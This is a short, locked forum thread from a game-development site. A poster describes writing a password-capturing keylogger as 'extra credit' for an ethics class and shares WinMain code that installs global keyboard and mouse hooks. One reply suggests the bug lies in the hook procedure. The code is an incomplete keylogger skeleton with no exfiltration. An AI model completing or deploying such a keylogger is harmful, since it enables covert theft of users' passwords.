Skip to main content
gamedev.net
🔒 Locked

Windows Hooks

Started by Coconut 0 replies 350+ views
Original Post
Coconut
Coconut
I am currently writting a virus for my Computer Ethics Class(Extra Credit), and I have code that should work according to the Platform SDK. What the program should do is monitor all textual input by way of a windows hook, and through cues such as mouse clicks it should record input and save it to file on the presumption that it will eventually catch a password being entered. Here is the WinMain code: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrecINstance, LPSTR lpCmdLine, int nShowCmd) { HHOOK hkHook; HHOOK hmHook; hkHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle("PassLib"), NULL); hmHook = SetWindowsHookEx(WH_MOUSE, MouseProc, GetModuleHandle("PassLib"), NULL); for(; { if(KEY_DOWN(VK_ESCAPE)) break; } UnhookWindowsHookEx(hkHook); UnhookWindowsHookEx(hmHook); return NULL; } The functions MouseProc and KeyboardProc are located in a seperate DLL which is inplicitly linked. Should I try explicit linking? The reason I know this isn''t working is because I have a call to write "DEBUG" to a file at the beginning of each DLL function, as well as calls to open and close the file. I have also tried Setting the Windows Hooks from a function within the DLL. Nothing seems to work. -Brent Robinson
"The computer programmer is a creator of universes for which he alone is the lawgiver...No playwright, no stage director, no emperor, however powerful, has ever exercised such absolute athority to arrange a stage or a field of battle and to command such unswervingly dutiful actors or troops." - Joseph Weizenbaum-Brent Robinson
Pretender
Pretender
I tried something similar and it worked...it''s probably a problem with your KeyboardProc function.

Topic Locked

This topic has been locked by a moderator. New replies are not allowed.

Sign in to reply to this topic.